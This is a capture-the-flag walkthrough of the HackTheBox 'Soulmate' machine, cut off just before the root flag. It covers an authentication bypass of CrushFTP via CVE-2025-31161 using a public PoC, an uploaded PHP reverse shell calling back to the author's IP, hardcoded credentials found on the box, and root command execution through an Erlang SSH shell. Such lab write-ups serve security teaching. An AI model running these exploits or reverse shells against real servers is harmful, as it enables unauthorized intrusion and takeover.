Back to Articles

Soulmate — HackTheBox Walkthrough



Reconnaissance

I started with a Nmap scan to identify any services running on this machine.

nmap 10.129.21.209 -sV -sC -p- --min-rate=1000 -oN soulmate_results

Results:

PORT   STATE  SERVICE VERSION
22/tcp  open   ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|  256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp  open   http  nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

We are mostly dealing with the web server in this case, I updated my /etc/hosts with the domain that was shown in Nmap's results.

sudo echo "10.129.21.209 soulmate.htb" | sudo tee -a /etc/hosts > /dev/null

Viewing the website, this appears to be a fictional dating website:

I went ahead and created a new account with this service to see what I can go off from.

I didn't see too much here. I decided to backtrack and perform vhost/subdomain enumeration of this service to see if there's anything.

gobuster vhost -u http://soulmate.htb/ -w /usr/share/dirb/wordlists/common.txt --append-domain

After some time, there was one result discovered.

Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]

I amended the /etc/hosts once again: sudo echo "10.129.21.209 ftp.soulmate.htb" | sudo tee -a /etc/hosts > /dev/null


I visit the webpage of ftp.soulmate.htb, and it's a CrushFTP service. I tried to identify it's current version to see if there's any potential history of CVEs and vulnerabilities.

whatweb -a3 http://ftp.soulmate.htb/

http://ftp.soulmate.htb/ [302 Found] Cookies[CrushAuth,currentAuth], Country[RESERVED][ZZ], CrushFTP, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[CrushAuth], IP[10.129.21.209], RedirectLocation[/WebInterface/login.html], nginx[1.18.0]
http://ftp.soulmate.htb/WebInterface/login.html [200 OK] Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.21.209], Script[module,text/javascript,text/javascript>const], Title[CrushFTP WebInterface], X-UA-Compatible[chrome=1], nginx[1.18.0]

I look at the source code of the login page, and notice this repeating parameter:

?v=11.W.657-2025_03_08_07_52

And according to CrushFTP's documentation and their versioning scheme, they use this formatting:

<MAJOR>.<CHANNEL>.<BUILD>-<YYYY_MM_DD_HH_MM>

Basically:

Major version: 11

Release channel: W

Build number: 657

Build timestamp: 2025-03-08 07:52

And it narrows down to: CrushFTP 11.0.657 (build date March 8, 2025)

I did brief research about this version, and found out that it's vulnerable to CVE-2025-31161, which is a critical authentication bypass vulnerability.

Per details from remmons-r7: [He describes different CVE version, but they're similar]

CVE-2025-2825 is a critical vulnerability affecting CrushFTP 11 below 11.3.1 and 10 below 10.8.4. Based on analysis, it’s a straightforward web service authentication bypass affecting many versions of CrushFTP. If a system is unpatched and an attacker guesses a valid username, such as the default “crushadmin” administrator account, the entire server can be compromised.

Based on the info here, we only need a valid username to be able to weaponize a PoC from this, I was going to rely on "crushadmin" since it is a known default account.

I was going to use kevthehermit's PoC I found on GitHub to take advantage of this vulnerability.

https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git

I ran this command, and it was successful. I then logged into the service

python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user test --password 123

[+] Preparing Payloads
 [-] Warming up the target
[+] Sending Account Create Request
 [!] User created successfully
[+] Exploit Complete you can now login with
  [*] Username: test
  [*] Password: 123.

But after evaluating the service to see if anything handy could come into play, there was the User Manager section which displayed all the users registered with the service, including what kind of privileges they've had and so forth.

To put it briefly, ben appears to be the only user with Upload privileges as evident in the screenshot above, likely representing IT. But notice he can upload anything into the webProd file and has VFS access?

I changed ben's password, as I had privileges to do so as an "admin", created by the PoC itself.

Exploitation

After logging in, I was going to go ahead and upload a reverse shell into the server. I utilized php-reverse-shell [by pentestmonkey] for this.

Fyi, don't forgot to modify the reverse shell's contents and link with your own IP/port.

$ip = '10.10.16.39'; // CHANGE THIS
$port = 4444;    // CHANGE THIS

I also started a listener with nc in-advance:

nc -lnvp 4444

I uploaded the file successfully. Keep in mind that the files seen in the above image resemble soulmate.htb's source code, meaning in order to trigger the reverse shell, you would have to either curl or visit http://soulmate.htb/php-reverse-shell.php and that's what I did and then caught the reverse shell.

Listening on 0.0.0.0 4444
Connection received on 10.129.21.209 42906
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 06:35:15 up 3:38, 0 users, load average: 0.01, 0.02, 0.00
USER   TTY   FROM       LOGIN@  IDLE  JCPU  PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Upon this, I had to find a way to perform lateral movement and pivot to an actual user. I attempted to grep for any possible sensitive files or hardcoded credentials stored in this web-server

grep -rnw "/" -ie "PASSWORD=" 2>/dev/null

This command didn't yield too much, so I moved to enumerating for anything ben related

grep -rli "ben" /opt /usr/local 2>/dev/null

After a while of scavenging through the files, I found a interesting script that belonged in the erlang_login folder: /usr/local/lib/erlang_login/start.escript

This was a breakthrough because it revealed ben's hardcoded credentials, and with that I was able to SSH into his account and obtain the user flag.

{user_passwords, [{"ben", "HouseH0ldings998"}]}

ssh ben@soulmate.htb

The authenticity of host 'soulmate.htb (10.129.21.209)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soulmate.htb' (ED25519) to the list of known hosts.
ben@soulmate.htb's password: 
Last login: Sun Feb 8 06:53:41 2026 from 10.10.16.39
ben@soulmate:~$

Privilege Escalation

I manually checked if ben can run any files in sudo via sudo -lcmd, but nothing.

Sorry, user ben may not run sudo on soulmate.

I scanned for any listening ports on this service that could vital.

ss -lntp

State   Recv-Q  Send-Q    Local Address:Port     Peer Address:Port  Process   
LISTEN  0     4096       127.0.0.1:4369        0.0.0.0:*          
LISTEN  0     4096       127.0.0.1:8443        0.0.0.0:*          
LISTEN  0     4096       127.0.0.1:41091       0.0.0.0:*          
LISTEN  0     5        127.0.0.1:2222        0.0.0.0:*          
LISTEN  0     4096     127.0.0.53%lo:53         0.0.0.0:*          
LISTEN  0     4096       127.0.0.1:9090        0.0.0.0:*          
LISTEN  0     4096       127.0.0.1:8080        0.0.0.0:*          
LISTEN  0     128       127.0.0.1:40799       0.0.0.0:*          
LISTEN  0     511        0.0.0.0:80         0.0.0.0:*          
LISTEN  0     128        0.0.0.0:22         0.0.0.0:*          
LISTEN  0     4096         [::1]:4369         [::]:*          
LISTEN  0     511          [::]:80          [::]:*          
LISTEN  0     128          [::]:22          [::]:*  

Interesting detail was the port 2222 that was running on localhost. This is usually a alternative SSH port.

Now, I remembered the start.escript script that was seen earlier with ben's hardcoded credentials. There was also mention of something about ssh and specific ports. That was it's origins.

 io:format("Starting SSH daemon with logging...~n"),

  case ssh:daemon(2222, [
    {ip, {127,0,0,1}},
    {system_dir, "/etc/ssh"},
  • It starts an Erlang SSH daemon on port 2222 bound to 127.0.0.1.
  • auth_methods includes "publickey,password".
  • The SSH daemon drops into an Erlang shell that can execute OS commands.

I attempted to connect locally to that root-run SSH daemon as it was actively running using ben.

ssh -p 2222 ben@127.0.0.1

(ssh_runner@soulmate)1> 

Now because this is Erlang, executing commands would be different, and just entering "whoami" would lead to nowhere. Here is Erlang's documentation on this. But to keep it simple, in order to execute commands you would need to add this with the prompt: os:cmd

os:cmd('id')

"uid=0(root) gid=0(root) groups=0(root)\n"

With that in mind, I went ahead and obtained the root flag: